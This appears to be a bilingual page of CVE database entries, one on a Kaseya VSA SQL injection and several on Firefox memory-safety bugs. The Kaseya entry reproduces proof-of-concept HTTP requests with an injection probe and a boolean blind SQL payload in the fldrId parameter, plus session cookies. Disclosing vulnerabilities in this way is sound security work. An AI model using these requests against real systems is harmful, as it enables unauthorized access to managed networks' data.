CVSS: 9.8EPSS: 0%CPEs: 1EXPL: 0CVE-2021-30117 – Authenticated SQL injection in Kaseya VSA < v9.5.6
https://notcve.org/view.php?id=CVE-2021-30117
fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. ... fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ``` La llamada a la API /InstallTab/exportFldr.asp es vulnerable a una inyección SQL ciega semiautenticada basada en booleanos en el parámetro fldrId. ... fldrId=1' HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Donde el valor de la cookie sessionId se ha obtenido mediante CVE-2021-30116. ... fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29END%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Respuesta: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 Carpeta de exportación • https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') •
CVSS: 9.8EPSS: 0%CPEs: 1EXPL: 0CVE-2020-26972
https://notcve.org/view.php?id=CVE-2020-26972
This vulnerability affects Firefox < 84. ...  Esta vulnerabilidad afecta a Firefox versiones anteriores a 84 • https://bugzilla.mozilla.org/show_bug.cgi?id=1671382 https://www.mozilla.org/security/advisories/mfsa2020-54 • CWE-416: Use After Free •
CVSS: 9.3EPSS: 0%CPEs: 1EXPL: 0CVE-2020-26969
https://notcve.org/view.php?id=CVE-2020-26969
Mozilla developers reported memory safety bugs present in Firefox 82. ... This vulnerability affects Firefox < 83. Los desarrolladores de Mozilla reportaron bugs de seguridad de la memoria presentes en Firefox versión 82. ...  Esta vulnerabilidad afecta a Firefox versiones anteriores a 83 • https://bugzilla.mozilla.org/buglist.cgi?bug_id=1623920%2C1651705%2C1667872%2C1668876 https://www.mozilla.org/security/advisories/mfsa2020-50 • CWE-787: Out-of-bounds Write •
CVSS: 9.3EPSS: 0%CPEs: 1EXPL: 0CVE-2020-26952
https://notcve.org/view.php?id=CVE-2020-26952
This vulnerability affects Firefox < 83. ... Esta vulnerabilidad afecta a Firefox versiones anteriores a 83 • https://bugzilla.mozilla.org/show_bug.cgi?id=1667685 https://www.mozilla.org/security/advisories/mfsa2020-50 • CWE-787: Out-of-bounds Write •
CVSS: 9.3EPSS: 0%CPEs: 3EXPL: 0CVE-2020-26960 – Mozilla: Potential use-after-free in uses of nsTArray
https://notcve.org/view.php?id=CVE-2020-26960
This vulnerability affects Firefox < 83, Firefox ESR < 78.5, and Thunderbird < 78.5. ... Esta vulnerabilidad afecta a Firefox versiones anteriores a 83, Firefox ESR versiones anteriores a 78.5, y Thunderbird versiones anteriores a 78.5 • https://bugzilla.mozilla.org/show_bug.cgi?id=1670358 https://www.mozilla.org/security/advisories/mfsa2020-50 https://www.mozilla.org/security/advisories/mfsa2020-51 https://www.mozilla.org/security/advisories/mfsa2020-52 https://access.redhat.com/security/cve/CVE-2020-26960 https://bugzilla.redhat.com/show_bug.cgi?id=1898737 • CWE-416: Use After Free •